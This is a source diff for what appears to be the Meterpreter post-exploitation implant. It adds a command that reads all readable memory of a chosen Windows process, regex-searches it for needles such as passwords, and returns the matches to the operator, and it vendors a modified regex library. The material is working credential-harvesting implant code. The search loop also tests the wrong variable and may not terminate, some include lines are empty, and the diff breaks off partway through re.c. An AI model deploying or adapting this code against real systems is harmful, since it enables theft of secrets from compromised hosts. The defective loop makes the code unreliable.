diff --git a/c/meterpreter/source/common/common_command_ids.h b/c/meterpreter/source/common/common_command_ids.h
index f7ee80d66..e9951eecd 100755
--- a/c/meterpreter/source/common/common_command_ids.h
+++ b/c/meterpreter/source/common/common_command_ids.h
@@ -174,6 +174,7 @@
#define COMMAND_ID_STDAPI_AUDIO_MIC_START 1115
#define COMMAND_ID_STDAPI_AUDIO_MIC_STOP 1116
#define COMMAND_ID_STDAPI_AUDIO_MIC_LIST 1117
+#define COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_SEARCH 1119
#define COMMAND_ID_PRIV_ELEVATE_GETSYSTEM 2001
#define COMMAND_ID_PRIV_FS_BLANK_DIRECTORY_MACE 2002
#define COMMAND_ID_PRIV_FS_BLANK_FILE_MACE 2003
diff --git a/c/meterpreter/source/extensions/stdapi/server/stdapi.c b/c/meterpreter/source/extensions/stdapi/server/stdapi.c
index cfa15fd8d..c9f54d2d0 100644
--- a/c/meterpreter/source/extensions/stdapi/server/stdapi.c
+++ b/c/meterpreter/source/extensions/stdapi/server/stdapi.c
@@ -69,6 +69,7 @@ Command customCommands[] =
COMMAND_REQ(COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_PROTECT, request_sys_process_memory_protect),
COMMAND_REQ(COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_LOCK, request_sys_process_memory_lock),
COMMAND_REQ(COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_UNLOCK, request_sys_process_memory_unlock),
+ COMMAND_REQ(COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_SEARCH, request_sys_process_memory_search),
// Thread
COMMAND_REQ(COMMAND_ID_STDAPI_SYS_PROCESS_THREAD_OPEN, request_sys_process_thread_open),
diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/process/memory.c b/c/meterpreter/source/extensions/stdapi/server/sys/process/memory.c
index 597f5d964..8fd759ec7 100644
--- a/c/meterpreter/source/extensions/stdapi/server/sys/process/memory.c
+++ b/c/meterpreter/source/extensions/stdapi/server/sys/process/memory.c
@@ -1,5 +1,89 @@
#include "precomp.h"
#include "common_metapi.h"
+#include "../tiny-regex-c/re.h"
+
+#ifndef __kernel_entry
+#define __kernel_entry
+#endif
+
+typedef __kernel_entry NTSTATUS(WINAPI* NTQUERYINFORMATIONPROCESS) (HANDLE ProcessHandle, DWORD ProcessInformationClass, LPVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength);
+
+typedef SIZE_T(WINAPI* VIRTUALQUERYEX) (HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength);
+
+typedef BOOL(WINAPI* CLOSEHANDLE) (HANDLE hObject);
+
+typedef HANDLE(WINAPI* OPENPROCESS) (DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
+
+typedef FARPROC(WINAPI* GETPROCADDRESS) (HMODULE hModule, LPCSTR lpProcName);
+
+// http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FMemory%20Management%2FVirtual%20Memory%2FNtReadVirtualMemory.html
+// https://ntdoc.m417z.com/ntreadvirtualmemory
+typedef NTSTATUS(NTAPI* NTREADVIRTUALMEMORY) (HANDLE ProcessHandle, LPCVOID BaseAddress, LPVOID Buffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead);
+
+// http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FMemory%20Management%2FVirtual%20Memory%2FMEMORY_INFORMATION_CLASS.html
+typedef enum _MEMORY_INFORMATION_CLASS {
+ MemoryBasicInformation
+} MEMORY_INFORMATION_CLASS, * PMEMORY_INFORMATION_CLASS;
+
+typedef struct _UNICODE_STRING {
+ USHORT Length;
+ USHORT MaximumLength;
+ PWSTR Buffer;
+} UNICODE_STRING;
+typedef UNICODE_STRING* PUNICODE_STRING;
+typedef const UNICODE_STRING* PCUNICODE_STRING;
+
+// https://learn.microsoft.com/en-us/windows/win32/api/ntdef/ns-ntdef-_object_attributes
+typedef struct _OBJECT_ATTRIBUTES {
+ ULONG Length;
+ HANDLE RootDirectory;
+ PUNICODE_STRING ObjectName;
+ ULONG Attributes;
+ PVOID SecurityDescriptor;
+ PVOID SecurityQualityOfService;
+} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
+
+typedef struct _RTL_USER_PROCESS_PARAMETERS {
+ BYTE Reserved1[16];
+ PVOID Reserved2[10];
+ UNICODE_STRING ImagePathName;
+ UNICODE_STRING CommandLine;
+} RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS;
+
+typedef
+VOID
+(NTAPI* PPS_POST_PROCESS_INIT_ROUTINE) (
+ VOID
+ );
+
+typedef struct _PEB {
+ BYTE Reserved1[2];
+ BYTE BeingDebugged;
+ BYTE Reserved2[1];
+ PVOID Reserved3[2];
+ PPEB_LDR_DATA Ldr;
+ PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
+ BYTE Reserved4[104];
+ PVOID Reserved5[52];
+ PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
+ BYTE Reserved6[128];
+ PVOID Reserved7[1];
+ ULONG SessionId;
+} PEB, * PPEB;
+
+typedef struct _PROCESS_BASIC_INFORMATION {
+ PVOID Reserved1;
+ PPEB PebBaseAddress;
+ PVOID Reserved2[2];
+ ULONG_PTR UniqueProcessId;
+ PVOID Reserved3;
+} PROCESS_BASIC_INFORMATION;
+typedef PROCESS_BASIC_INFORMATION* PPROCESS_BASIC_INFORMATION;
+
+typedef enum _PROCESSINFOCLASS {
+ ProcessBasicInformation = 0,
+ ProcessWow64Information = 26
+} PROCESSINFOCLASS;
/*!
* @brief Allocates memory in the context of the supplied process.
@@ -339,3 +423,223 @@ DWORD request_sys_process_memory_unlock(Remote *remote, Packet *packet)
return ERROR_SUCCESS;
}
+
+BOOL can_read_memory(DWORD memory_protect)
+{
+ const int page_execute_read = 0x20;
+ const int page_execute_readwrite = 0x40;
+ const int page_readonly = 0x02;
+ const int page_readwrite = 0x04;
+
+ return memory_protect == page_execute_read ||
+ memory_protect == page_execute_readwrite ||
+ memory_protect == page_readonly ||
+ memory_protect == page_readwrite;
+}
+
+typedef struct {
+ re_t compiled_regex[MAX_REGEXP_OBJECTS];
+ unsigned char buffer[MAX_CHAR_CLASS_LEN]; // Used for character strings when "[]" is used.
+} RegexNeedle;
+
+#define NEEDLES_MAX (size_t)5
+#define MEMORY_BUFFER_SIZE (size_t)(64 * 1024 * 1024)
+
+///
+/// Add the needle results to a packet. This automatically inserts each result into a new group. Returns ERROR_SUCCESS on success, or 1 on failure.
+///
+/// The packet to insert the needle group into
+/// ERROR_SUCCESS on success, else non-zero
+NTSTATUS add_needle_results_to_packet(Packet* packet, const unsigned char* memory_buffer_ptr, size_t match_length, size_t match_address, size_t memory_base_address, size_t memory_region_size)
+{
+ if (packet == NULL || memory_buffer_ptr == NULL) { return ERROR_INVALID_PARAMETER; }
+
+ dprintf("[MEM SEARCH] Creating results group");
+ Packet* search_results = met_api->packet.create_group();
+ if (search_results == NULL) { dprintf("[MEM SEARCH] Could not create search result group"); return ERROR_OUTOFMEMORY; }
+
+ dprintf("[MEM SEARCH] Adding results to packet group");
+ // Note: This raw data needs to be read from the buffer we copied. Trying to read it from mem.BaseAddress directly will make us crash.
+ met_api->packet.add_tlv_raw(search_results, TLV_TYPE_MEMORY_SEARCH_MATCH_STR, (LPVOID)memory_buffer_ptr, (DWORD)match_length + 1);
+ met_api->packet.add_tlv_qword(search_results, TLV_TYPE_MEMORY_SEARCH_MATCH_ADDR, match_address);
+ met_api->packet.add_tlv_qword(search_results, TLV_TYPE_MEMORY_SEARCH_START_ADDR, memory_base_address);
+ met_api->packet.add_tlv_qword(search_results, TLV_TYPE_MEMORY_SEARCH_SECT_LEN, memory_region_size);
+ met_api->packet.add_tlv_uint(search_results, TLV_TYPE_MEMORY_SEARCH_MATCH_LEN, (UINT)match_length);
+
+ met_api->packet.add_group(packet, TLV_TYPE_MEMORY_SEARCH_RESULTS, search_results);
+
+ return ERROR_SUCCESS;
+}
+
+static HMODULE hKernel32 = NULL;
+static HMODULE hNTDLL = NULL;
+
+static GETPROCADDRESS fGetProcAddress = NULL;
+static OPENPROCESS fOpenProcess = NULL;
+static CLOSEHANDLE fCloseHandle = NULL;
+static VIRTUALQUERYEX fVirtualQueryEx = NULL;
+static NTREADVIRTUALMEMORY fNtReadVirtualMemory = NULL;
+
+NTSTATUS setup_handles()
+{
+ if ((hKernel32 = GetModuleHandleA("kernel32.dll")) == NULL) { dprintf("[MEM SEARCH] Could not get kernel32.dll handle"); return ERROR_INVALID_HANDLE; }
+
+ if ((hNTDLL = GetModuleHandleA("ntdll.dll")) == NULL) { dprintf("[MEM SEARCH] Could not get ntdll.dll handle"); return ERROR_INVALID_HANDLE; }
+
+ if ((fGetProcAddress = (GETPROCADDRESS)GetProcAddress(hKernel32, "GetProcAddress")) == NULL) { dprintf("[MEM SEARCH] Could not get GetProcAddress handle"); return ERROR_INVALID_ADDRESS; }
+
+ if ((fVirtualQueryEx = (VIRTUALQUERYEX)fGetProcAddress(hKernel32, "VirtualQueryEx")) == NULL) { dprintf("[MEM SEARCH] Could not get VirtualQueryEx handle"); return ERROR_INVALID_ADDRESS; }
+
+ if ((fOpenProcess = (OPENPROCESS)fGetProcAddress(hKernel32, "OpenProcess")) == NULL) { dprintf("[MEM SEARCH] Could not get OpenProcess handle"); return ERROR_INVALID_ADDRESS; }
+
+ if ((fCloseHandle = (CLOSEHANDLE)fGetProcAddress(hKernel32, "CloseHandle")) == NULL) { dprintf("[MEM SEARCH] Could not get CloseHandle handle"); return ERROR_INVALID_ADDRESS; }
+
+ if ((fNtReadVirtualMemory = (NTREADVIRTUALMEMORY)fGetProcAddress(hNTDLL, "NtReadVirtualMemory")) == NULL ) { dprintf("[MEM SEARCH] Could not get NtReadVirtualMemory handle"); return ERROR_INVALID_ADDRESS; }
+
+ return ERROR_SUCCESS;
+}
+
+/*
+ * Read through all of a process's virtual memory in the search for regular expression needles.
+ *
+ * req: TLV_TYPE_PID - The target process ID.
+ * req: TLV_TYPE_MEMORY_SEARCH_NEEDLE - The regular expression needle to search for.
+ * req: TLV_TYPE_UINT - The minimum length of a match.
+ * req: TLV_TYPE_MEMORY_SEARCH_MATCH_LEN - The maximum length of a match.
+ */
+DWORD request_sys_process_memory_search(Remote* remote, Packet* packet)
+{
+ Packet* response = met_api->packet.create_response(packet);
+ DWORD result = ERROR_SUCCESS;
+ unsigned char* memory_buffer = NULL;
+ size_t needle_enum_index = 0;
+ HANDLE process_handle = NULL;
+ RegexNeedle regex_needles[NEEDLES_MAX] = { NULL };
+
+ dprintf("[MEM SEARCH] Getting PID");
+ const DWORD pid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PID);
+ if (pid == 0) { result = ERROR_INVALID_PARAMETER; goto done; }
+ dprintf("[MEM SEARCH] Searching PID: %lu", pid);
+
+ Tlv needle_tlv = { 0 };
+ while (needle_enum_index < NEEDLES_MAX && met_api->packet.enum_tlv(packet, (DWORD)needle_enum_index, TLV_TYPE_MEMORY_SEARCH_NEEDLE, &needle_tlv) == ERROR_SUCCESS)
+ {
+ dprintf("[MEM SEARCH] Compiling needle regex from TLV");
+ const int result = re_compile(needle_tlv.buffer, needle_tlv.header.length - 1, (re_t)®ex_needles[needle_enum_index].compiled_regex, (unsigned char*)®ex_needles[needle_enum_index].buffer);
+ if (result != ERROR_SUCCESS)
+ {
+ dprintf("[MEM SEARCH] Failed to setup compile needle regex from TLV packet");
+ goto done;
+ }
+
+ needle_enum_index++;
+ }
+
+ dprintf("[MEM SEARCH] Getting Match Lengths");
+ const size_t min_match_length = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_UINT);
+ const size_t max_match_length = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_MEMORY_SEARCH_MATCH_LEN);
+ if (min_match_length > max_match_length || max_match_length == 0) { dprintf("[MEM SEARCH] Incorrect min or max match lengths"); result = ERROR_INVALID_PARAMETER; goto done; }
+ const size_t current_max_match_length = max_match_length;
+
+ dprintf("[MEM SEARCH] Getting handles & proc addresses");
+ if ((result = setup_handles()) != ERROR_SUCCESS)
+ {
+ dprintf("[MEM SEARCH] Could not set up all necessary handles & proc addresses");
+ goto done;
+ }
+
+ const DWORD process_vm_read = 0x0010;
+ const DWORD process_query_information = 0x0400;
+ const DWORD wanted_process_perms = process_vm_read | process_query_information;
+
+ dprintf("[MEM SEARCH] Opening process");
+ process_handle = fOpenProcess(wanted_process_perms, FALSE, pid);
+ if (process_handle == NULL) { dprintf("[MEM SEARCH] Could not get process handle"); result = ERROR_INVALID_HANDLE; goto done; }
+
+ MEMORY_BASIC_INFORMATION mem = { 0 };
+ dprintf("[MEM SEARCH] Allocating buffer for storing process memory");
+ memory_buffer = (unsigned char*)malloc(MEMORY_BUFFER_SIZE * sizeof(unsigned char));
+ if (memory_buffer == NULL) { dprintf("[MEM SEARCH] Could not allocate memory buffer"); result = ERROR_OUTOFMEMORY; goto done; }
+
+ for (size_t current_ptr = 0; fVirtualQueryEx(process_handle, (LPCVOID)current_ptr, &mem, sizeof(mem)); current_ptr += mem.RegionSize)
+ {
+ if (!can_read_memory(mem.Protect)) { continue; }
+
+ size_t memory_region_offset = 0;
+ // Note: This currently does not support regex'ing over multiple memory regions.
+ // e.g.
+ // regex = "my_password.*";
+ // | ....my_pas | sword.... |
+ while (mem.RegionSize > memory_region_offset)
+ {
+ const size_t leftover_bytes = mem.RegionSize - memory_region_offset;
+ const size_t bytes_to_read = min(leftover_bytes, MEMORY_BUFFER_SIZE * sizeof(unsigned char));
+ dprintf("[MEM SEARCH] Leftover Bytes count: %llu", leftover_bytes);
+ dprintf("[MEM SEARCH] Bytes to read: %llu", bytes_to_read);
+ size_t bytes_read = 0;
+
+ const size_t read_address = (size_t)mem.BaseAddress + memory_region_offset;
+ // Note: This will read up to a maximum of bytes_to_read OR to the end of the memory region if the end of it has been reached.
+ if (fNtReadVirtualMemory(process_handle, (LPCVOID)read_address, memory_buffer, bytes_to_read, &bytes_read) != ERROR_SUCCESS)
+ {
+ dprintf("[MEM SEARCH] Failed to read some virtual memory for process, skipping %u bytes", bytes_to_read);
+ memory_region_offset += bytes_to_read;
+ continue;
+ }
+
+ dprintf("[MEM SEARCH] Read %llu bytes", bytes_read);
+ // Note: Increment the offset so that we aren't stuck in an infinite loop, trying to read zero bytes from the same pointer.
+ if (bytes_read == 0) { dprintf("[MEM SEARCH] Read zero bytes from a readable memory region"); memory_region_offset += bytes_to_read; continue; }
+
+ for (size_t current_needle_index = 0; current_needle_index < needle_enum_index; current_needle_index++)
+ {
+ size_t current_buffer_offset = 0;
+ size_t match_length = 0;
+ int match_result = -1;
+
+ do
+ {
+ const unsigned char* current_buffer_ptr = memory_buffer + current_buffer_offset;
+ const size_t bytes_to_regex = bytes_read - current_buffer_offset;
+
+ match_result = re_matchp((re_t)®ex_needles[current_needle_index].compiled_regex, current_buffer_ptr, bytes_to_regex, current_max_match_length, &match_length);
+
+ if (match_result != -1)
+ {
+ const size_t match_address = read_address + current_buffer_offset + match_result;
+ dprintf("[MEM SEARCH] -- ! FOUND A REGEX MATCH ! --");
+ dprintf("[MEM SEARCH] Address: %p", match_address);
+
+ if (match_length < min_match_length)
+ {
+ dprintf("[MEM SEARCH] Match length was too short, skipping.");
+ current_buffer_offset += (match_result + match_length);
+ continue;
+ }
+
+ const unsigned char* memory_buffer_ptr = memory_buffer + current_buffer_offset + match_result;
+ if (add_needle_results_to_packet(response, memory_buffer_ptr, match_length, match_address, (size_t)mem.BaseAddress, mem.RegionSize) != ERROR_SUCCESS)
+ {
+ dprintf("[MEM SEARCH] Adding search results to packet was not successful");
+ }
+
+ current_buffer_offset += (match_result + match_length);
+ }
+ } while (result != -1);
+ }
+
+ memory_region_offset += bytes_to_read;
+ }
+ }
+
+ result = ERROR_SUCCESS;
+
+done:
+ dprintf("[MEM SEARCH] Memory Search complete.");
+ if (memory_buffer != NULL) { dprintf("[MEM SEARCH] Freeing process memory buffer."); free(memory_buffer); }
+ if (process_handle != NULL) { dprintf("[MEM SEARCH] Closing process handle."); fCloseHandle(process_handle); }
+
+ dprintf("[MEM SEARCH] Transmitting response");
+ met_api->packet.transmit_response(result, remote, response);
+ return ERROR_SUCCESS;
+}
diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/process/process.h b/c/meterpreter/source/extensions/stdapi/server/sys/process/process.h
index da04b4d23..85ca089cf 100644
--- a/c/meterpreter/source/extensions/stdapi/server/sys/process/process.h
+++ b/c/meterpreter/source/extensions/stdapi/server/sys/process/process.h
@@ -46,6 +46,7 @@ DWORD request_sys_process_memory_query(Remote *remote, Packet *packet);
DWORD request_sys_process_memory_protect(Remote *remote, Packet *packet);
DWORD request_sys_process_memory_lock(Remote *remote, Packet *packet);
DWORD request_sys_process_memory_unlock(Remote *remote, Packet *packet);
+DWORD request_sys_process_memory_search(Remote *remote, Packet *packet);
// Thread
DWORD request_sys_process_thread_open(Remote *remote, Packet *packet);
diff --git a/c/meterpreter/source/extensions/stdapi/stdapi.h b/c/meterpreter/source/extensions/stdapi/stdapi.h
index 7ee5303a3..adc2b5b52 100755
--- a/c/meterpreter/source/extensions/stdapi/stdapi.h
+++ b/c/meterpreter/source/extensions/stdapi/stdapi.h
@@ -98,6 +98,15 @@
#define TLV_TYPE_REGISTER_VALUE_32 MAKE_CUSTOM_TLV( TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_STDAPI, 2542 )
#define TLV_TYPE_REGISTER MAKE_CUSTOM_TLV( TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_STDAPI, 2550 )
+// Memory - Taken from Mettle: https://github.com/rapid7/mettle/blob/master/mettle/src/tlv_types.h#L262
+#define TLV_TYPE_MEMORY_SEARCH_NEEDLE MAKE_CUSTOM_TLV( TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_STDAPI, 2650 )
+#define TLV_TYPE_MEMORY_SEARCH_RESULTS MAKE_CUSTOM_TLV( TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_STDAPI, 2651 )
+#define TLV_TYPE_MEMORY_SEARCH_MATCH_LEN MAKE_CUSTOM_TLV( TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_STDAPI, 2652 )
+#define TLV_TYPE_MEMORY_SEARCH_START_ADDR MAKE_CUSTOM_TLV( TLV_META_TYPE_QWORD, TLV_TYPE_EXTENSION_STDAPI, 2653 )
+#define TLV_TYPE_MEMORY_SEARCH_SECT_LEN MAKE_CUSTOM_TLV( TLV_META_TYPE_QWORD, TLV_TYPE_EXTENSION_STDAPI, 2654 )
+#define TLV_TYPE_MEMORY_SEARCH_MATCH_ADDR MAKE_CUSTOM_TLV( TLV_META_TYPE_QWORD, TLV_TYPE_EXTENSION_STDAPI, 2655 )
+#define TLV_TYPE_MEMORY_SEARCH_MATCH_STR MAKE_CUSTOM_TLV( TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_STDAPI, 2656 )
+
// Registry
#define TLV_TYPE_HKEY MAKE_CUSTOM_TLV( TLV_META_TYPE_QWORD, TLV_TYPE_EXTENSION_STDAPI, 1000 )
#define TLV_TYPE_ROOT_KEY TLV_TYPE_HKEY
diff --git a/c/meterpreter/source/tiny-regex-c/README.md b/c/meterpreter/source/tiny-regex-c/README.md
new file mode 100644
index 000000000..a32fdb14e
--- /dev/null
+++ b/c/meterpreter/source/tiny-regex-c/README.md
@@ -0,0 +1,3 @@
+# tiny-regex-c
+
+This library is taken from https://github.com/kokke/tiny-regex-c/tree/2d306a5a71128853d18292e8bb85c8e745fbc9d0 - with changes to support null-bytes.
diff --git a/c/meterpreter/source/tiny-regex-c/re.c b/c/meterpreter/source/tiny-regex-c/re.c
new file mode 100644
index 000000000..98eaf66cd
--- /dev/null
+++ b/c/meterpreter/source/tiny-regex-c/re.c
@@ -0,0 +1,488 @@
+/*
+ *
+ * Mini regex-module inspired by Rob Pike's regex code described in:
+ *
+ * http://www.cs.princeton.edu/courses/archive/spr09/cos333/beautiful.html
+ *
+ *
+ *
+ * Supports:
+ * ---------
+ * '.' Dot, matches any character
+ * '^' Start anchor, matches beginning of string
+ * '$' End anchor, matches end of string
+ * '*' Asterisk, match zero or more (greedy)
+ * '+' Plus, match one or more (greedy)
+ * '?' Question, match zero or one (non-greedy)
+ * '[abc]' Character class, match if one of {'a', 'b', 'c'}
+ * '[^abc]' Inverted class, match if NOT one of {'a', 'b', 'c'} -- NOTE: feature is currently broken!
+ * '[a-zA-Z]' Character ranges, the character set of the ranges { a-z | A-Z }
+ * '\s' Whitespace, \t \f \r \n \v and spaces
+ * '\S' Non-whitespace
+ * '\w' Alphanumeric, [a-zA-Z0-9_]
+ * '\W' Non-alphanumeric
+ * '\d' Digits, [0-9]
+ * '\D' Non-digits
+ *
+ *
+ */
+
+
+#include "re.h"
+#include
+#include
+
+/* Definitions: */
+
+enum { UNUSED, DOT, BEGIN, END, QUESTIONMARK, STAR, PLUS, CHAR_RE, CHAR_CLASS, INV_CHAR_CLASS, DIGIT, NOT_DIGIT, ALPHA, NOT_ALPHA, WHITESPACE, NOT_WHITESPACE, /* BRANCH */ };
+
+/* Private function declarations: */
+static int matchpattern(regex_t* pattern, const char* text, size_t text_length, size_t text_offset, size_t max_match_size, size_t* matchlength);
+static int matchcharclass(char c, const char* str);
+static int matchstar(regex_t p, regex_t* pattern, const char* text, size_t text_length, size_t text_offset, size_t max_match_size, size_t* matchlength);
+static int matchplus(regex_t p, regex_t* pattern, const char* text, size_t text_length, size_t text_offset, size_t max_match_size, size_t* matchlength);
+static int matchone(regex_t p, char c);
+static int matchdigit(char c);
+static int matchalpha(char c);
+static int matchwhitespace(char c);
+static int matchmetachar(char c, const char* str);
+static int matchrange(char c, const char* str);
+static int matchdot(char c);
+static int ismetachar(char c);
+
+/* Public functions: */
+int re_matchp(re_t pattern, const char* text, size_t text_length, size_t max_match_length, size_t* matchlength)
+{
+ if (max_match_length == 0) { return -1; }
+ *matchlength = 0;
+
+ if (pattern == 0 || text_length == 0) { return -1; }
+
+ if (pattern[0].type == BEGIN)
+ {
+ return ((matchpattern(&pattern[1], text, text_length, 0, max_match_length, matchlength)) ? 0 : -1);
+ }
+
+ int idx = -1;
+
+ do
+ {
+ idx += 1;
+
+ if (matchpattern(pattern, text, text_length, idx, max_match_length, matchlength))
+ {
+ return idx;
+ }
+ }
+ while ((size_t)idx < text_length);
+
+ return -1;
+}
+
+int re_compile(const char* pattern, size_t pattern_length, re_t compiled_regex, unsigned char* regex_char_buffer)
+{
+ int ccl_bufidx = 1;
+
+ char c; /* current char in pattern */
+ int i = 0; /* index into pattern */
+ int j = 0; /* index into re_compiled */
+
+ while (i < (int)pattern_length && (j + 1 < MAX_REGEXP_OBJECTS))
+ {
+ c = pattern[i];
+
+ switch (c)
+ {
+ /* Meta-characters: */
+ case '^': { compiled_regex[j].type = BEGIN; } break;
+ case '$': { compiled_regex[j].type = END; } break;
+ case '.': { compiled_regex[j].type = DOT; } break;
+ case '*': { compiled_regex[j].type = STAR; } break;
+ case '+': { compiled_regex[j].type = PLUS; } break;
+ case '?': { compiled_regex[j].type = QUESTIONMARK; } break;
+ /* case '|': { compiled_regex[j].type = BRANCH; } break; <-- not working properly */
+
+ /* Escaped character-classes (\s \w ...): */
+ case '\\':
+ {
+ if (i + 1 < (int)pattern_length)
+ {
+ /* Skip the escape-char '\\' */
+ i += 1;
+ /* ... and check the next */
+ switch (pattern[i])
+ {
+ /* Meta-character: */
+ case 'd': { compiled_regex[j].type = DIGIT; } break;
+ case 'D': { compiled_regex[j].type = NOT_DIGIT; } break;
+ case 'w': { compiled_regex[j].type = ALPHA; } break;
+ case 'W': { compiled_regex[j].type = NOT_ALPHA; } break;
+ case 's': { compiled_regex[j].type = WHITESPACE; } break;
+ case 'S': { compiled_regex[j].type = NOT_WHITESPACE; } break;
+
+ /* Escaped character, e.g. '.' or '$' */
+ default:
+ {
+ compiled_regex[j].type = CHAR_RE;
+ compiled_regex[j].u.ch = pattern[i];
+ } break;
+ }
+ }
+ else
+ {
+ compiled_regex[j].type = CHAR_RE;
+ compiled_regex[j].u.ch = pattern[i];
+ }
+ } break;
+
+ /* Character class: */
+ case '[':
+ {
+ /* Remember where the char-buffer starts. */
+ int buf_begin = ccl_bufidx;
+
+ /* Look-ahead to determine if negated */
+ if (pattern[i + 1] == '^')
+ {
+ compiled_regex[j].type = INV_CHAR_CLASS;
+ i += 1; /* Increment i to avoid including '^' in the char-buffer */
+ if (i + 1 == (int)pattern_length) /* incomplete pattern, missing non-zero char after '^' */
+ {
+ return 1;
+ }
+ }
+ else
+ {
+ compiled_regex[j].type = CHAR_CLASS;
+ }
+
+ /* Copy characters inside [..] to buffer */
+ while ((pattern[++i] != ']')
+ && (i < (int)pattern_length)) /* Missing ] */
+ {
+ if (pattern[i] == '\\')
+ {
+ if (ccl_bufidx >= MAX_CHAR_CLASS_LEN - 1)
+ {
+ //fputs("exceeded internal buffer!\n", stderr);
+ return 1;
+ }
+ if (i + 1 == (int)pattern_length) /* incomplete pattern, missing non-zero char after '\\' */
+ {
+ return 1;
+ }
+ regex_char_buffer[ccl_bufidx++] = pattern[i++];
+ }
+ else if (ccl_bufidx >= MAX_CHAR_CLASS_LEN)
+ {
+ //fputs("exceeded internal buffer!\n", stderr);
+ return 1;
+ }
+ regex_char_buffer[ccl_bufidx++] = pattern[i];
+ }
+ if (ccl_bufidx >= MAX_CHAR_CLASS_LEN)
+ {
+ /* Catches cases such as [00000000000000000000000000000000000000][ */
+ //fputs("exceeded internal buffer!\n", stderr);
+ return 1;
+ }
+ /* Null-terminate string end */
+ regex_char_buffer[ccl_bufidx++] = 0;
+ compiled_regex[j].u.ccl = ®ex_char_buffer[buf_begin];
+ } break;
+
+ /* Other characters: */
+ default:
+ {
+ compiled_regex[j].type = CHAR_RE;
+ compiled_regex[j].u.ch = c;
+ } break;
+ }
+
+ i += 1;
+ j += 1;
+ }
+ /* 'UNUSED' is a sentinel used to indicate end-of-pattern */
+ compiled_regex[j].type = UNUSED;
+
+ return 0; // ERROR_SUCCESS
+}
+
+void re_print(regex_t* pattern)
+{
+ const char* types[] = { "UNUSED", "DOT", "BEGIN", "END", "QUESTIONMARK", "STAR", "PLUS", "CHAR", "CHAR_CLASS", "INV_CHAR_CLASS", "DIGIT", "NOT_DIGIT", "ALPHA", "NOT_ALPHA", "WHITESPACE", "NOT_WHITESPACE", "BRANCH" };
+
+ int i;
+ int j;
+ char c;
+ for (i = 0; i < MAX_REGEXP_OBJECTS; ++i)
+ {
+ if (pattern[i].type == UNUSED)
+ {
+ break;
+ }
+
+ printf("type: %s", types[pattern[i].type]);
+ if (pattern[i].type == CHAR_CLASS || pattern[i].type == INV_CHAR_CLASS)
+ {
+ printf(" [");
+ for (j = 0; j < MAX_CHAR_CLASS_LEN; ++j)
+ {
+ c = pattern[i].u.ccl[j];
+ if ((c == '\0') || (c == ']'))
+ {
+ break;
+ }
+ printf("%c", c);
+ }
+ printf("]");
+ }
+ else if (pattern[i].type == CHAR_RE)
+ {
+ printf(" '%c'", pattern[i].u.ch);
+ }
+ printf("\n");
+ }
+}
+
+
+
+/* Private functions: */
+static int matchdigit(char c)
+{
+ return isdigit(c);
+}
+static int matchalpha(char c)
+{
+ return isalpha(c);
+}
+static int matchwhitespace(char c)
+{
+ return isspace(c);
+}
+static int matchalphanum(char c)
+{
+ return ((c == '_') || matchalpha(c) || matchdigit(c));
+}
+static int matchrange(char c, const char* str)
+{
+ return ( (c != '-')
+ && (str[0] != '\0')
+ && (str[0] != '-')
+ && (str[1] == '-')
+ && (str[2] != '\0')
+ && ( (c >= str[0])
+ && (c <= str[2])));
+}
+static int matchdot(char c)
+{
+#if defined(RE_DOT_MATCHES_NEWLINE) && (RE_DOT_MATCHES_NEWLINE == 1)
+ (void)c;
+ return 1;
+#else
+ return c != '\n' && c != '\r';
+#endif
+}
+static int ismetachar(char c)
+{
+ return ((c == 's') || (c == 'S') || (c == 'w') || (c == 'W') || (c == 'd') || (c == 'D'));
+}
+
+static int matchmetachar(char c, const char* str)
+{
+ switch (str[0])
+ {
+ case 'd': return matchdigit(c);
+ case 'D': return !matchdigit(c);
+ case 'w': return matchalphanum(c);
+ case 'W': return !matchalphanum(c);
+ case 's': return matchwhitespace(c);
+ case 'S': return !matchwhitespace(c);
+ default: return (c == str[0]);
+ }
+}
+
+static int matchcharclass(char c, const char* str)
+{
+ do
+ {
+ if (matchrange(c, str))
+ {
+ return 1;
+ }
+ else if (str[0] == '\\')
+ {
+ /* Escape-char: increment str-ptr and match on next char */
+ str += 1;
+ if (matchmetachar(c, str))
+ {
+ return 1;
+ }
+ else if ((c == str[0]) && !ismetachar(c))
+ {
+ return 1;
+ }
+ }
+ else if (c == str[0])
+ {
+ if (c == '-')
+ {
+ return ((str[-1] == '\0') || (str[1] == '\0'));
+ }
+ else
+ {
+ return 1;
+ }
+ }
+ }
+ while (*str++ != '\0');
+
+ return 0;
+}
+
+static int matchone(regex_t p, char c)
+{
+ switch (p.type)
+ {
+ case DOT: return matchdot(c);
+ case CHAR_CLASS: return matchcharclass(c, (const char*)p.u.ccl);
+ case INV_CHAR_CLASS: return !matchcharclass(c, (const char*)p.u.ccl);
+ case DIGIT: return matchdigit(c);
+ case NOT_DIGIT: return !matchdigit(c);
+ case ALPHA: return matchalphanum(c);
+ case NOT_ALPHA: return !matchalphanum(c);
+ case WHITESPACE: return matchwhitespace(c);
+ case NOT_WHITESPACE: return !matchwhitespace(c);
+ default: return (p.u.ch == c);
+ }
+}
+
